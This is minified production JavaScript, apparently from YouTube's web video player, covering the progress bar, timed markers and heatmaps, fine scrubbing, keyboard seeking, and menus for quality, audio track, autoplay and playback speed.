g.q.oU=function(){this.Z&&(this.Z(),this.Z=null);Zp4(this);g.Q.prototype.oU.call(this)};g.P(mPq,g.Q);g.q=mPq.prototype;g.q.Rx=function(x){this.vX(x.pageX);this.Xu(x.pageX+x.deltaX);dP3(this)};
g.q.vX=function(x){this.ZZ=x-this.QU};
g.q.Xu=function(x){x-=this.QU;!isNaN(this.ZZ)&&this.thumbnails.length>0&&(this.S=x-this.ZZ,this.thumbnails.length>0&&this.S!==0&&(this.j=this.J+this.S,x=S_X(this,this.j),this.j<=this.C/2&&this.j>=Pli(this)?(this.api.seekTo(x,!1,void 0,void 0,25),g.Zt(this.uG,"transform","translateX("+(this.j-this.C/2)+"px)"),lB5(this,x)):this.j=this.J))};
g.q.Ma=function(){this.jY&&(this.jY.Se=!0);var x=(0,g.bo)()-this.G9<300;if(Math.abs(this.S)<5&&!x){this.G9=(0,g.bo)();x=this.ZZ+this.S;var T=this.C/2-x;this.vX(x);this.Xu(x+T);dP3(this);this.api.logClick(this.D)}dP3(this)};
g.q.bF=function(){JD(this,this.api.getCurrentTime())};
g.q.play=function(x){this.api.seekTo(S_X(this,this.j),void 0,void 0,void 0,26);this.api.playVideo();x&&this.api.logClick(this.playButton)};
g.q.onExit=function(x){this.api.seekTo(this.nf,void 0,void 0,void 0,63);this.api.playVideo();x&&this.api.logClick(this.dismissButton)};
g.q.C2=function(x,T){this.QU=x;this.C=T;JD(this,this.api.getCurrentTime())};
g.q.enable=function(){this.isEnabled||(this.isEnabled=!0,this.nf=this.api.getCurrentTime(),lB5(this,this.nf),g.Ic(this.api.getRootNode(),"ytp-fine-scrubbing-enable",this.isEnabled),this.hQ=this.V(this.element,"wheel",this.Rx),this.logVisibility(this.isEnabled))};
g.q.disable=function(){this.isEnabled=!1;this.hide();g.Ic(this.api.getRootNode(),"ytp-fine-scrubbing-enable",this.isEnabled);this.hQ&&this.f2(this.hQ);this.logVisibility(this.isEnabled)};
g.q.reset=function(){this.disable();this.K=[];this.Om=!1};
g.q.logVisibility=function(x){this.api.logVisibility(this.element,x);this.api.logVisibility(this.D,x);this.api.logVisibility(this.dismissButton,x);this.api.logVisibility(this.playButton,x)};
g.q.oU=function(){for(;this.Z.length;){var x=void 0;(x=this.Z.pop())==null||x.dispose()}g.Q.prototype.oU.call(this)};
g.P(MuV,g.Q);g.P(Au3,g.Q);g.P(cu3,g.Q);g.P(CN,g.Q);CN.prototype.yA=function(x){return x==="PLAY_PROGRESS"?this.J:x==="LOAD_PROGRESS"?this.N:x==="LIVE_BUFFER"?this.D:this.j};bpv.prototype.update=function(x,T,t,u){t=t===void 0?0:t;this.width=T;this.K=t;this.C=T-t-(u===void 0?0:u);this.position=g.iu(x,t,t+this.C);this.j=this.position-t;this.Z=this.j/this.C};g.P(ruf,g.Q);g.P(g.Ol,g.qS);g.q=g.Ol.prototype;
g.q.Te=function(){var x=!1,T=this.api.getVideoData();if(!T)return x;this.api.Xa("timedMarkerCueRange");FtD(this);for(var t=g.S(T.Lz),u=t.next();!u.done;u=t.next()){u=u.value;var H=void 0,I=(H=this.nf[u])==null?void 0:H.markerType;H=void 0;var E=(H=this.nf[u])==null?void 0:H.markers;if(!E)break;if(I==="MARKER_TYPE_TIMESTAMPS"){x=g.S(E);for(I=x.next();!I.done;I=x.next()){H=I.value;I=new ruf;E=void 0;I.title=((E=H.title)==null?void 0:E.simpleText)||"";I.timeRangeStartMillis=Number(H.startMillis);I.C=
Number(H.durationMillis);var Z=E=void 0;I.onActiveCommand=(Z=(E=H.onActive)==null?void 0:E.innertubeCommand)!=null?Z:void 0;n03(this,I)}aB3(this,this.N);x=this.N;I=this.qz;H=[];E=null;for(Z=0;Z<x.length;Z++){var e=x[Z].timeRangeStartMillis;if(!isNaN(e)&&x[Z].onActiveCommand){var l=void 0,m=(l=x[Z].C)!=null?l:1E4;E&&E.end>e&&(E.end=e);e=M43(e,e+m);H.push(e);E=e;I[e.id]=x[Z].onActiveCommand}}this.api.oi(H);this.mY=this.nf[u];x=!0}else if(I==="MARKER_TYPE_HEATMAP"){u=this.nf[u];m=l=H=e=Z=E=void 0;if(u&&
u.markers){I=(H=(m=u.markersMetadata)==null?void 0:(l=m.heatmapMetadata)==null?void 0:l.minHeightDp)!=null?H:0;H=(E=(e=u.markersMetadata)==null?void 0:(Z=e.heatmapMetadata)==null?void 0:Z.maxHeightDp)!=null?E:60;E=this.C.length;Z=null;for(e=0;e<E;e++){m=this.C[e].startTime;var d=e===E-1?Infinity:this.C[e+1].startTime;e===this.K.length&&kC3(this);l=[];Z&&l.push(Z);for(var M=g.S(u.markers),A=M.next();!A.done;A=M.next()){A=A.value;var R=Number(A.startMillis);R>=m&&R<=d&&l.push(A)}H>0&&(this.jY.style.height=
H+"px");m=this.K[e];d=l;A=I;var Y=H,b=e===0;b=b===void 0?!1:b;Y_5(m,Y);M=d;R=m.Z;b=b===void 0?!1:b;var z=1E3/M.length,F=[];F.push({x:0,y:100});for(var V=0;V<M.length;V++){var B=(V+.5)*z,D=100-g.iu((M[V].intensityScoreNormalized||0)*100,A/R*100,Y/R*100);V!==0||b||F.push({x:0,y:D});F.push({x:B,y:D});V===M.length-1&&F.push({x:1E3,y:D})}F.push({x:1E3,y:100});M=F;d=d.length===0?"":XzD(M);m.api.B("delhi_modern_web_player")?m.j.setAttribute("d",d):m.D.setAttribute("d",d);m.eD=d!=="";g.Ic(m.api.getRootNode(),
"ytp-heat-map",m.eD);m.api.B("delhi_modern_web_player")&&(m.j.style.display="block",m.K.style.display="none",m.C.style.display="none");l.length>0&&(Z=l[l.length-1])}g.fN(this)}H=void 0;I=[];if(u=(H=u.markersDecoration)==null?void 0:H.timedMarkerDecorations)for(u=g.S(u),H=u.next();!H.done;H=u.next())H=H.value,e=Z=E=void 0,I.push({visibleTimeRangeStartMillis:(E=H.visibleTimeRangeStartMillis)!=null?E:-1,visibleTimeRangeEndMillis:(Z=H.visibleTimeRangeEndMillis)!=null?Z:-1,decorationTimeMillis:(e=H.decorationTimeMillis)!=
null?e:NaN,label:H.label?g.eb(H.label):""});u=I;this.heatMarkersDecorations=u}}T.QR=this.N;g.Ic(this.element,"ytp-timed-markers-enabled",x);return x};
g.q.C2=function(){g.fN(this);XQ(this);aB3(this,this.N);if(this.Z){var x=g.R_(this.element).x||0;this.Z.C2(x,this.D)}};
g.q.onClickCommand=function(x){if(x=g.N(x,x7)){var T=x.key;x.isVisible&&T&&DPC(this,T)}};
g.q.KYG=function(x){this.api.XW("innertubeCommand",this.qz[x.id])};
g.q.Bk=function(){XQ(this);var x=this.api.getCurrentTime();(x<this.clipStart||x>this.clipEnd)&&this.XS()};
g.q.f6=function(x){if(!x.defaultPrevented){var T=!1;switch(x.keyCode){case 36:this.api.seekTo(0,void 0,void 0,void 0,79);T=!0;break;case 35:this.api.seekTo(Infinity,void 0,void 0,void 0,80);T=!0;break;case 34:this.api.seekBy(-60,void 0,void 0,76);T=!0;break;case 33:this.api.seekBy(60,void 0,void 0,75);T=!0;break;case 38:this.api.B("enable_key_press_seek_logging")&&ud(this,this.api.getCurrentTime(),this.api.getCurrentTime()+5,"SEEK_SOURCE_SEEK_FORWARD_5S","INTERACTION_LOGGING_GESTURE_TYPE_KEY_PRESS");
this.api.seekBy(5,void 0,void 0,72);T=!0;break;case 40:this.api.B("enable_key_press_seek_logging")&&ud(this,this.api.getCurrentTime(),this.api.getCurrentTime()-5,"SEEK_SOURCE_SEEK_BACKWARD_5S","INTERACTION_LOGGING_GESTURE_TYPE_KEY_PRESS"),this.api.seekBy(-5,void 0,void 0,71),T=!0}T&&x.preventDefault()}};
g.q.NC=function(x,T){this.updateVideoData(T,x==="newdata")};
g.q.djy=function(){this.NC("newdata",this.api.getVideoData())};
g.q.updateVideoData=function(x,T){T=T===void 0?!1:T;var t=!!x&&x.eD();if(t&&(xh(x)||QWv(this)?this.F3=!1:this.F3=x.allowLiveDvr,g.Ic(this.api.getRootNode(),"ytp-enable-live-buffer",!(x==null||!xh(x))),this.api.B("enable_custom_playhead_parsing"))){var u,H,I,E=g.N((u=x.getWatchNextResponse())==null?void 0:(H=u.playerOverlays)==null?void 0:(I=H.playerOverlayRenderer)==null?void 0:I.decoratedPlayerBarRenderer,UP);if(E==null?0:E.progressColor)for(u=0;u<this.C.length;u++)this.C[u].yA("PLAY_PROGRESS").style.background=
g.an(E.progressColor);E=g.N(E==null?void 0:E.playhead,bAP);var Z,e;u=(E==null?void 0:(Z=E.playheadImage)==null?void 0:Z.thumbnails)&&(E==null?void 0:(e=E.playheadImage)==null?void 0:e.thumbnails[0].url);g.Ic(this.zc,"ytp-decorated-scrubber-container",!!u);var l;if(E==null?0:(l=E.loggingDirectives)==null?0:l.trackingParams){var m;this.api.setTrackingParams(this.FD,E==null?void 0:(m=E.loggingDirectives)==null?void 0:m.trackingParams);this.api.createServerVe(this.FD,this)}u&&(this.FD.src=u)}udX(this,
this.api.hp());if(T){if(t){T=x.clipEnd;this.clipStart=x.clipStart;this.clipEnd=T;$p(this);for(oo(this,this.S,this.Ee);this.K.length>0;)this.K.pop().dispose();this.heatMarkersDecorations=[];this.Lz={};var d;(d=this.Z)==null||d.reset();q7(this);g.Ic(this.api.getRootNode(),"ytp-fine-scrubbing-exp",pN(this))}else this.XS();this.P_()}if(x){var M;d=((M=this.TI)==null?void 0:M.type)==="clips";if(M=!x.isLivePlayback){M=this.api.getVideoData();T=g.bq(M);t=v0C(M);var A;M=T!=null||t!=null&&t.length>0||((A=M.G$)==
null?void 0:A.length)>0}if(M&&!d){A=this.api.getVideoData();d=g.bq(A);M=!1;if(d==null?0:d.markersMap){M=this.api.getVideoData();var R;M.y6=((R=d.visibleOnLoad)==null?void 0:R.key)||M.y6;R=g.S(d.markersMap);for(d=R.next();!d.done;d=R.next())d=d.value,d.key&&d.value&&(this.Lz[d.key]=d.value,d.value.onChapterRepeat&&(M.Tk=d.value.onChapterRepeat));M.y6!=null&&DPC(this,M.y6);M=!0}var Y;if(((Y=A.G$)==null?void 0:Y.length)>0){Y=g.TT.getState().entities;R=g.S(A.G$);for(d=R.next();!d.done;d=R.next())if(d=
d.value,t=void 0,T=(t=i1(Y,"macroMarkersListEntity",d))==null?void 0:t.markersList,Z=t=void 0,((t=T)==null?void 0:t.markerType)==="MARKER_TYPE_TIMESTAMPS"||((Z=T)==null?void 0:Z.markerType)==="MARKER_TYPE_HEATMAP")this.nf[d]=T;M=this.Te()||M}!M&&(Y=v0C(A))&&(GCq(this,Y),A.WD=this.C,Vui(this));pN4(this,null);x.Ox&&this.K.length===0&&(x=x.Ox,Y=x.key,x.isVisible&&Y&&DPC(this,Y))}else z34(this),FtD(this)}XQ(this)};
g.q.ocY=function(x){this.J&&!g.p(x.state,32)&&this.api.getPresentingPlayerType()!==3&&this.J.cancel();var T;((T=this.Z)==null?0:T.isEnabled)&&g.p(x.state,8)&&this.api.pauseVideo();x=this.api.getPresentingPlayerType()===2||!this.api.hp()||this.api.getPlayerState()===-1&&this.api.getCurrentTime()===0;g.Ic(this.hR,"ytp-hide-scrubber-button",x)};
g.q.ST=function(x){var T=!!this.TI!==!!x,t=this.TI;this.TI=x;pN4(this,t);(x==null?void 0:x.type)!=="clips"&&x||(x?(this.updateValue("clipstarticon",U43()),this.updateValue("clipendicon",U43()),this.updateValue("clipstarttitle",null),this.updateValue("clipendtitle",null)):(this.updateValue("clipstarticon",d4D()),this.updateValue("clipendicon",m4X()),this.updateValue("clipstarttitle","Watch full video"),this.updateValue("clipendtitle","Watch full video")),T&&(this.updateVideoData(this.api.getVideoData(),
!0),g.fN(this)),$p(this));oo(this,this.S,this.Ee)};
g.q.Kac=function(x,T,t){var u=g.R_(this.element),H=KN(this).C,I=t?t.getAttribute("data-tooltip"):void 0,E=t?t.getAttribute("data-position"):void 0,Z=t?t.getAttribute("data-offset-y"):void 0;Z=Z?Number(Z):0;E&&(x=vu(this.j,Number(t.getAttribute("data-position")),0)*H+g.R_(this.progressBar).x);this.SY.x=x-u.x;this.SY.y=T-u.y;x=KN(this);t=sQ(this,x);T=0;var e;if((e=this.api.getVideoData())==null?0:xh(e))(e=this.api.getProgressState().seekableEnd)&&t>e&&(t=e,x.position=vu(this.j,e)*KN(this).C),T=this.j.Z;
QWv(this)&&(T=this.j.Z);e=I||g.S1(this.F3?t-this.j.C:t-T);T=x.position+this.Xt;t-=this.api.Pk();var l;if((l=this.Z)==null||!l.isEnabled)if(this.api.ul()){if(this.C.length>1){l=tN(this,this.SY.x,!0);if(!this.TI)for(u=0;u<this.C.length;)g.Ic(this.C[u].C,"ytp-exp-chapter-hover-effect",u===l),u++;if(this.K.length>1)for(u=0;u<this.C.length;u++)g.Ic(this.K[u].element,"ytp-heatmap-hover",u===l)}if(this.N.length>0)for(l=this.SY.x,u=g.S(this.N),H=u.next();!H.done;H=u.next())H=H.value,E=wG(this,H.timeRangeStartMillis/
(this.j.C*1E3),KN(this)),g.Ic(H.element,"ytp-timed-marker-hover",E<=l&&E+6>=l);u=this.tooltip.scale;Z=(isNaN(Z)?0:Z)-45*u;this.api.B("web_key_moments_markers")?this.mY?(l=lVH(this.N,t*1E3),l=l!=null?this.N[l].title:""):(l=AD(this.C,t*1E3),l=this.C[l].title):(l=AD(this.C,t*1E3),l=this.C[l].title);l||(Z+=16*u);this.tooltip.scale===.6&&(g.f1(this.api.Y())?(Z=this.api.bG().getPlayerSize().height-225,Z=l?Z+110:Z+110+16):Z=l?110:126);u=AD(this.C,t*1E3);this.uG=Opf(this,t,u)?u:Opf(this,t,u+1)?u+1:-1;g.Ic(this.api.getRootNode(),
"ytp-progress-bar-snap",this.uG!==-1&&this.C.length>1);u=!1;H=g.S(this.heatMarkersDecorations);for(E=H.next();!E.done;E=H.next()){E=E.value;var m=t*1E3;m>=E.visibleTimeRangeStartMillis&&m<=E.visibleTimeRangeEndMillis&&(l=E.label,e=g.S1(E.decorationTimeMillis/1E3),u=!0)}this.L4!==u&&(this.L4=u,this.api.logVisibility(this.RW,this.L4));g.Ic(this.api.getRootNode(),"ytp-progress-bar-decoration",u);u=160*this.tooltip.scale*2;H=l.length*(this.ZZ?8.55:5.7);H=H<=u?H:u;E=H<160*this.tooltip.scale;u=3;!E&&H/
2>x.position&&(u=1);!E&&H/2>this.D-x.position&&(u=2);this.api.Y().J&&(Z-=10);this.K.length&&this.K[0].eD&&(Z-=14*(this.ZZ?2:1),this.hQ||(this.hQ=!0,this.api.logVisibility(this.jY,this.hQ)));var d;if(pN(this)&&(((d=this.Z)==null?0:d.isEnabled)||this.AQ>0)){var M;Z-=((M=this.Z)==null?0:M.isEnabled)?id(this):this.AQ}d=void 0;pN(this)&&!this.api.B("web_player_hide_fine_scrubbing_edu")&&(d="Pull up for precise seeking",this.Om||(this.Om=!0,this.api.logVisibility(this.Jq,this.Om)));this.tooltip.g7(T,t,
e,!!I,Z,l,u,d)}else this.tooltip.g7(T,t,e,!!I,Z);g.uY(this.api.getRootNode(),"ytp-progress-bar-hover");ClC(this)};
g.q.jWu=function(){this.P_();g.H$(this.api.getRootNode(),"ytp-progress-bar-hover");this.hQ&&(this.hQ=!1,this.api.logVisibility(this.jY,this.hQ));this.Om&&(this.Om=!1,this.api.logVisibility(this.Jq,this.Om))};
g.q.Z4G=function(x,T){pN(this)&&this.Z&&(this.Z.Om?JD(this.Z,this.api.getCurrentTime()):R3i(this.Z),this.Z.show(),g.Ic(this.api.getRootNode(),"ytp-fine-scrubbing-enable",this.Z.isEnabled));this.dN&&(this.dN.dispose(),this.dN=null);this.Ap=T;this.tR=this.api.getCurrentTime();this.C.length>1&&this.uG!==-1?this.api.seekTo(this.C[this.uG].startTime/1E3,!1,void 0,void 0,7):this.api.seekTo(sQ(this,KN(this)),!1,void 0,void 0,7);g.uY(this.element,"ytp-drag");(this.Nz=this.api.getPlayerStateObject().isOrWillBePlaying())&&
this.api.pauseVideo()};
g.q.dIG=function(){if(pN(this)&&this.Z){var x=id(this);this.AQ>=x*.5?(this.Z.enable(),JD(this.Z,this.api.getCurrentTime()),shX(this,x)):q7(this)}if(g.p(this.api.getPlayerStateObject(),32)||this.api.getPresentingPlayerType()===3){var T;if((T=this.Z)==null?0:T.isEnabled)this.api.pauseVideo();else{this.api.startSeekCsiAction();if(this.C.length>1&&this.uG!==-1)this.api.B("html5_enable_progress_bar_slide_seek_logging")&&ud(this,this.tR,this.C[this.uG].startTime/1E3,"SEEK_SOURCE_SLIDE_ON_SCRUBBER_BAR_CHAPTER",
"INTERACTION_LOGGING_GESTURE_TYPE_GENERIC_CLICK"),this.api.seekTo(this.C[this.uG].startTime/1E3,void 0,void 0,void 0,7);else{x=sQ(this,KN(this));this.api.B("html5_enable_progress_bar_slide_seek_logging")&&ud(this,this.tR,x,"SEEK_SOURCE_SLIDE_ON_SCRUBBER_BAR","INTERACTION_LOGGING_GESTURE_TYPE_GENERIC_CLICK");this.api.seekTo(x,void 0,void 0,void 0,7);T=g.S(this.heatMarkersDecorations);for(var t=T.next();!t.done;t=T.next())t=t.value,x*1E3>=t.visibleTimeRangeStartMillis&&x*1E3<=t.visibleTimeRangeEndMillis&&
this.api.logClick(this.RW)}g.H$(this.element,"ytp-drag");this.Nz&&!g.p(this.api.getPlayerStateObject(),2)&&this.api.playVideo()}}};
g.q.o6m=function(x,T){x=KN(this);x=sQ(this,x);this.api.seekTo(x,!1,void 0,void 0,7);var t;pN(this)&&((t=this.Z)==null?0:t.Om)&&(JD(this.Z,x),this.Z.isEnabled||(t=id(this),this.AQ=g.iu(this.Ap-T-10,0,t),shX(this,this.AQ)))};
g.q.P_=function(){this.tooltip.Xq()};
g.q.oO=function(){this.TI||(this.updateValue("clipstarticon",l_X()),this.updateValue("clipendicon",l_X()),g.uY(this.element,"ytp-clip-hover"))};
g.q.d1=function(){this.TI||(this.updateValue("clipstarticon",d4D()),this.updateValue("clipendicon",m4X()),g.H$(this.element,"ytp-clip-hover"))};
g.q.XS=function(){this.clipStart=0;this.clipEnd=Infinity;$p(this);oo(this,this.S,this.Ee)};
g.q.XMQ=function(x){x=g.S(x);for(var T=x.next();!T.done;T=x.next())if(T=T.value,T.visible){var t=T.getId();if(!this.QU[t]){var u=g.Xn("DIV");T.tooltip&&u.setAttribute("data-tooltip",T.tooltip);this.QU[t]=T;this.Ym[t]=u;g.tw(u,T.style);fBm(this,t);this.api.Y().B("disable_ad_markers_on_content_progress_bar")||this.C[0].K.appendChild(u)}}else tB5(this,T)};
g.q.LT9=function(x){x=g.S(x);for(var T=x.next();!T.done;T=x.next())tB5(this,T.value)};
g.q.e3=function(x){this.Z&&(this.Z.onExit(x!=null),q7(this))};
g.q.qL=function(x){this.Z&&(this.Z.play(x!=null),q7(this))};
g.q.vpU=function(){udX(this,this.api.hp())};
g.q.oU=function(){udX(this,!1);g.qS.prototype.oU.call(this)};g.P(Z8,g.Q);Z8.prototype.isActive=function(){return!!this.U.getOption("remote","casting")};
Z8.prototype.Nj=function(){var x=!1;this.U.getOptions().includes("remote")&&(x=this.U.getOption("remote","receivers").length>1);this.ou(x&&this.U.bG().getPlayerSize().width>=400);this.U.logVisibility(this.element,this.lN);var T=1;x&&this.isActive()&&(T=2);if(this.C!==T){this.C=T;switch(T){case 1:this.updateValue("icon",{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,X:{d:"M27,9 L9,9 C7.9,9 7,9.9 7,11 L7,14 L9,14 L9,11 L27,11 L27,25 L20,25 L20,27 L27,27 C28.1,27 29,26.1 29,25 L29,11 C29,9.9 28.1,9 27,9 L27,9 Z M7,24 L7,27 L10,27 C10,25.34 8.66,24 7,24 L7,24 Z M7,20 L7,22 C9.76,22 12,24.24 12,27 L14,27 C14,23.13 10.87,20 7,20 L7,20 Z M7,16 L7,18 C11.97,18 16,22.03 16,27 L18,27 C18,20.92 13.07,16 7,16 L7,16 Z",
fill:"#fff"}}]});break;case 2:this.updateValue("icon",g.eyJ())}g.Ic(this.element,"ytp-remote-button-active",this.isActive())}};
Z8.prototype.Z=function(){if(this.U.getOption("remote","quickCast"))this.U.setOption("remote","quickCast",!0);else{var x=this.If,T=this.element;if(x.rE())x.nz();else{x.initialize();a:{var t=g.S(x.PS.items);for(var u=t.next();!u.done;u=t.next())if(u=u.value,u.priority===1){t=u;break a}t=null}t&&(t.open(),x.tq(T));x.tq(T)}}this.U.logClick(this.element)};g.P(j6,g.Q);j6.prototype.C=function(x){var T=this.U.Y(),t=400;this.U.B("web_player_small_hbp_settings_menu")&&T.D?t=300:T.J&&(t=200);x=this.Z&&x.width>=t;this.ou(x);this.U.B("embeds_use_parent_visibility_in_ve_logging")?this.U.logVisibility(this.element,x&&this.T):this.U.logVisibility(this.element,x)};
j6.prototype.j=function(){if(this.If.lN)this.If.nz();else{var x=g.Lb(this.U.xm());x&&!x.loaded&&(x.jF("tracklist",{includeAsr:!0}).length||x.load());this.U.logClick(this.element);this.If.tq(this.element)}};
j6.prototype.updateBadge=function(){var x=this.U.isHdr(),T=this.U.getPresentingPlayerType(),t=T!==2&&T!==3,u=g.vF(this.U),H=t&&!!g.hW(this.U.xm());T=H&&u.displayMode===1;u=H&&u.displayMode===2;t=(H=T||u)||!t?null:this.U.getPlaybackQuality();g.Ic(this.element,"ytp-hdr-quality-badge",x);g.Ic(this.element,"ytp-hd-quality-badge",!x&&(t==="hd1080"||t==="hd1440"));g.Ic(this.element,"ytp-4k-quality-badge",!x&&t==="hd2160");g.Ic(this.element,"ytp-5k-quality-badge",!x&&t==="hd2880");g.Ic(this.element,"ytp-8k-quality-badge",
!x&&t==="highres");g.Ic(this.element,"ytp-3d-badge-grey",!x&&H&&T);g.Ic(this.element,"ytp-3d-badge",!x&&H&&u)};g.P(e6,ol);e6.prototype.isLoaded=function(){var x=g.Ds(this.U.xm());return x!==void 0&&x.loaded};
e6.prototype.Nj=function(){g.Ds(this.U.xm())!==void 0&&this.U.getPresentingPlayerType()!==3?this.C||(this.If.NU(this),this.C=!0):this.C&&(this.If.FY(this),this.C=!1);tU(this,this.isLoaded())};
e6.prototype.onSelect=function(x){this.isLoaded();x?this.U.loadModule("annotations_module"):this.U.unloadModule("annotations_module");this.U.publish("annotationvisibility",x)};
e6.prototype.oU=function(){this.C&&this.If.FY(this);ol.prototype.oU.call(this)};g.P(ld,g.wk);ld.prototype.Nj=function(){var x=this.U.getAvailableAudioTracks();x.length>1?(this.x$(g.r7(x,this.C)),this.tracks=g.mu(x,this.C,this),this.countLabel.Zn(x.length?" ("+x.length+")":""),this.publish("size-change"),this.Mm(this.C(this.U.getAudioTrack())),this.enable(!0)):this.enable(!1)};
ld.prototype.Uo=function(x){g.wk.prototype.Uo.call(this,x);this.U.setAudioTrack(this.tracks[x]);this.If.LU()};
ld.prototype.C=function(x){return x.toString()};g.P(ma,ol);
ma.prototype.Z=function(){var x=this.U.getPresentingPlayerType();if(x!==2&&x!==3&&g.Gt(this.U))this.C||(this.If.NU(this),this.C=!0,this.j.push(this.V(this.U,"videodatachange",this.Z)),this.j.push(this.V(this.U,"videoplayerreset",this.Z)),this.j.push(this.V(this.U,"onPlaylistUpdate",this.Z)),this.j.push(this.V(this.U,"autonavchange",this.K)),x=this.U.getVideoData(),this.K(x.autonavState),this.U.logVisibility(this.element,this.C));else if(this.C){this.If.FY(this);this.C=!1;x=g.S(this.j);for(var T=x.next();!T.done;T=
x.next())this.f2(T.value)}};
ma.prototype.K=function(x){tU(this,x!==1)};
ma.prototype.onSelect=function(x){this.U.b5(x?2:1);this.C&&(this.U.logVisibility(this.element,this.C),this.U.logClick(this.element))};
ma.prototype.oU=function(){this.C&&this.If.FY(this);ol.prototype.oU.call(this)};g.P(Hui,g.JW);Hui.prototype.onClick=function(x){x.preventDefault();var T,t;(T=g.lh(this.U))==null||(t=T.cw())==null||t.nz();var u,H;(u=g.lh(this.U))==null||(H=u.Ml())==null||H.tq(x.target)};g.P(iui,g.wk);g.q=iui.prototype;
g.q.Aw=function(){var x=this.U.getPresentingPlayerType();if(x!==2&&x!==3){this.uG=this.U.IX();x=this.U.getAvailableQualityLevels();if(this.C){this.K={};var T=g.ET(this.U,"getAvailableQualityData",[]);T=g.S(T);for(var t=T.next();!t.done;t=T.next())t=t.value,this.K[t.qualityLabel]=t;T=Object.keys(this.K);x[x.length-1]==="auto"&&T.push("auto");this.Hv=new Set(x)}else if(this.D){t=g.ET(this.U,"getAvailableQualityData",[]);T=[];t=g.S(t);for(var u=t.next();!u.done;u=t.next())u=u.value,this.S[u.quality]=
u,u.quality&&T.push(u.quality);x[x.length-1]==="auto"&&T.push("auto")}else T=x;g.BZD(this.U)&&this.U.uQ()&&T.unshift("missing-qualities");Wk4(this.U)&&T.unshift("inline-survey");this.x$(T);x=this.U.getVideoData().cotn?!0:!1;t=this.jY.TV();t=!g.f1(this.U.Y())||!(x===void 0?0:x)||!(t===void 0||t);x=this.Z;t=t===void 0?!1:t;x.ym&&g.Ic(x.Um("ytp-panel-footer"),"ytp-panel-hide-footer",t===void 0?!1:t);if(T.length){this.iX();this.enable(!0);return}}this.enable(!1)};
g.q.iX=function(){if(this.C){var x=this.U.getPreferredQuality();this.Hv.has(x)&&(this.N=this.U.getPlaybackQuality(),this.ZZ=this.U.getPlaybackQualityLabel(),x==="auto"?(this.Mm(x),this.Zn(this.uM(x))):this.Mm(this.ZZ))}else x=this.U.getPreferredQuality(),this.options[x]&&(this.N=this.U.getPlaybackQuality(),this.Mm(x),x==="auto"&&this.Zn(this.uM(x)))};
g.q.Uo=function(x){if(x!=="missing-qualities"){g.wk.prototype.Uo.call(this,x);var T=this.C?this.K[x]:this.S[x];var t=T==null?void 0:T.quality,u=T==null?void 0:T.formatId,H=T==null?void 0:T.paygatedQualityDetails;T=H==null?void 0:H.endpoint;if(H){var I;H=(I=this.options[x])==null?void 0:I.element;this.U.logClick(H)}if(this.C){var E,Z;if((E=g.N(T,g.xv0))==null?0:(Z=E.popup)==null?0:Z.notificationActionRenderer)this.U.XW("innertubeCommand",T);else if(T){this.U.XW("innertubeCommand",T);return}u?this.U.setPlaybackQuality(t,
u):this.U.setPlaybackQuality(t)}else{if(this.D){var e,l;if((e=g.N(T,g.xv0))==null?0:(l=e.popup)==null?0:l.notificationActionRenderer)this.U.XW("innertubeCommand",T);else if(T){this.U.XW("innertubeCommand",T);return}}this.U.setPlaybackQuality(x)}this.If.nz();this.Aw()}};
g.q.open=function(){for(var x=g.S(Object.values(this.options)),T=x.next();!T.done;T=x.next()){T=T.value;var t=void 0;this.U.hasVe((t=T)==null?void 0:t.element)&&(t=void 0,this.U.logVisibility((t=T)==null?void 0:t.element,!0))}g.wk.prototype.open.call(this);this.U.logClick(this.element)};
g.q.Wr=function(x,T,t){var u=this;if(x==="missing-qualities")return new g.JW({L:"a",DZ:["ytp-menuitem"],X:{href:"https://support.google.com/youtube/?p=missing_quality",target:this.U.Y().S,tabindex:"0",role:"menuitemradio"},W:[{L:"div",DZ:["ytp-menuitem-label"],z9:"{{label}}"}]},T,this.uM(x));if(x!=="inline-survey"){var H,I=(H=this.C?this.K[x]:this.S[x])==null?void 0:H.paygatedQualityDetails;H=I==null?void 0:I.veType;I=I==null?void 0:I.trackingParams;T=g.wk.prototype.Wr.call(this,x,T,t);I?(this.U.createServerVe(T.element,
this,!0),this.U.setTrackingParams(T.element,I)):H&&this.U.createClientVe(T.element,this,H,!0);return T}x=[{L:"span",z9:"Looks good?"}];t=g.S([!0,!1]);I=t.next();for(H={};!I.done;H={SL:void 0},I=t.next())H.SL=I.value,I=new g.Q({L:"span",G:"ytp-menuitem-inline-survey-response",W:[H.SL?Yx5():AS3()],X:{tabindex:"0",role:"button"}}),I.listen("click",function(E){return function(){var Z=u.U.app.VU();Z&&(Z.kc("iqsr",{tu:E.SL}),Z.getVideoData().Ob=!0);u.If.nz();u.Aw()}}(H)),x.push(I);
return new g.JW({L:"div",G:"ytp-menuitem",X:{"aria-disabled":"true"},W:[{L:"div",DZ:["ytp-menuitem-label"],W:x}]},T)};
g.q.uM=function(x,T){T=T===void 0?!1:T;if(x==="missing-qualities")return{L:"div",z9:"Missing options?"};if(x==="inline-survey")return"";var t=this.D||this.C?[qam(this,x,T,!1)]:[Ek4(this,x)];var u=this.U.getPreferredQuality();T||u!=="auto"||x!=="auto"||(t.push(" "),this.C?t.push(qam(this,this.ZZ,T,!0,["ytp-menu-label-secondary"])):this.D?t.push(qam(this,this.N,T,!0,["ytp-menu-label-secondary"])):t.push(Ek4(this,this.N,["ytp-menu-label-secondary"])));return{L:"div",W:t}};g.P(dq,g.Q);dq.prototype.init=function(){this.updateValue("minvalue",this.j);this.updateValue("maxvalue",this.K);this.updateValue("stepvalue",this.D);this.updateValue("slidervalue",this.Z);Zu4(this,this.Z)};
dq.prototype.N=function(){jhv(this,Number(this.C.value));this.C.focus()};g.P(M7,dq);M7.prototype.N=function(){dq.prototype.N.call(this);this.J&&eZ4(this)};
M7.prototype.uG=function(){this.S()};
M7.prototype.jY=function(){this.U.setPlaybackRate(this.Z,!0)};
M7.prototype.ZZ=function(x){if(!x.defaultPrevented){switch(x.code){case "ArrowDown":var T=-this.D;break;case "ArrowUp":T=this.D;break;default:return}jhv(this,Math.min(this.K,Math.max(Number((this.Z+T).toFixed(2)),this.j)));this.S();eZ4(this);x.preventDefault()}};g.P(AN,g.Q);g.q=AN.prototype;g.q.init=function(){this.Sy(this.C);this.updateValue("minvalue",this.Z);this.updateValue("maxvalue",this.j)};
g.q.Bn=function(x){if(!x.defaultPrevented){switch(x.keyCode){case 37:case 40:var T=-this.J;break;case 39:case 38:T=this.J;break;default:return}this.Sy(this.C+T);x.preventDefault()}};
